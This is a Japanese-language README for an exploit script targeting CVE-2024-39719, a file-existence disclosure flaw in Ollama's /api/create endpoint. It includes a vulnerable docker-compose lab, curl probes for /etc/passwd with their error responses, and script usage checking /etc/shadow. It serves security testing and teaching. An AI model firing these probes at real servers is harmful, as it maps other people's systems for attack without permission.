
Pythonエクスプロイトスクリプト(CVE-2024-39719向け)。Ollamaにおけるファイル存在開示の脆弱性です。APIエンドポイントをテストしてサーバーのファイルパスを検出し、脆弱性分析やペネトレーションテストに役立ちます。
CVE-2024-39719 は、Ollama バージョン 0.3.14 以前に影響するファイル存在開示の脆弱性です。この脆弱性により、攻撃者は API エンドポイントを通じてサーバ上の特定のファイルの存在を検出でき、情報漏洩につながる可能性があります。
公開日: 2024年10月31日
この脆弱性は Ollama の /api/create エンドポイントに存在します。攻撃者が CreateModel API をパスパラメータ付きで呼び出すと、サーバはパスが存在するかどうかによって異なるエラーメッセージを返します。この動作により、攻撃者はエラーメッセージを分析して、サーバ上に特定のファイルやディレクトリが存在するかどうかを判断できます。
核心的な問題は、ユーザー入力を処理する際に、システムがパスの存在情報を適切に隠蔽せずに、ファイルシステムのエラーをそのままクライアントに公開していることです。
この脆弱性は Ollama バージョン 0.3.14 以前のすべてのバージョンに影響します。
ファイル存在開示の脆弱性は一見すると軽微に見えるかもしれませんが、以下のような影響があります。
services:
ollama:
image: ollama/ollama:0.3.14
container_name: ollama
volumes:
- ollama:/root/.ollama
ports:
- "11434:11434"
volumes:
ollama:
docker compose up -d
http://your-ip:11434/ にアクセスして Ollama 0.3.14 が動作していることを確認できます。curl を使用して存在しないファイルにアクセスを試みます。
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'
レスポンス:
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}
/etc/passwd など存在するファイルをテストします。
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'
レスポンス:
{"error":"no FROM line for the model was specified"}
これらの異なるエラーメッセージを分析することで、攻撃者は対象のパスが存在するかどうかを判断し、サーバのファイル構造に関する情報を得ることができます。 なお、サーバから返される情報はバージョンによって異なる場合があります。
Ollama は新しいバージョンでこの脆弱性を修正しています。修正内容には以下が含まれます。
/api/create エンドポイントへの異常なアクセスパターンを重点的に監視します。提供された Python スクリプトを使用すると、Ollama サーバが CVE-2024-39719 に対して脆弱かどうかをテストできます。
requests, termcolorpip install requests termcolor
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]
-u, --url: Ollama サーバの URL(必須)-f, --file: 存在を確認するファイル(デフォルトは "/etc/passwd")# サーバが脆弱かどうかを確認
python CVE_2024_39719.py -u http://your-ip:11434
# 特定のファイルが存在するかどうかを確認
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow
このスクリプトは教育目的および正当なセキュリティテストのために提供されています。システムの脆弱性をテストする前に、必ず適切な許可を得てください。許可のないテストは法律や規制に違反する可能性があります。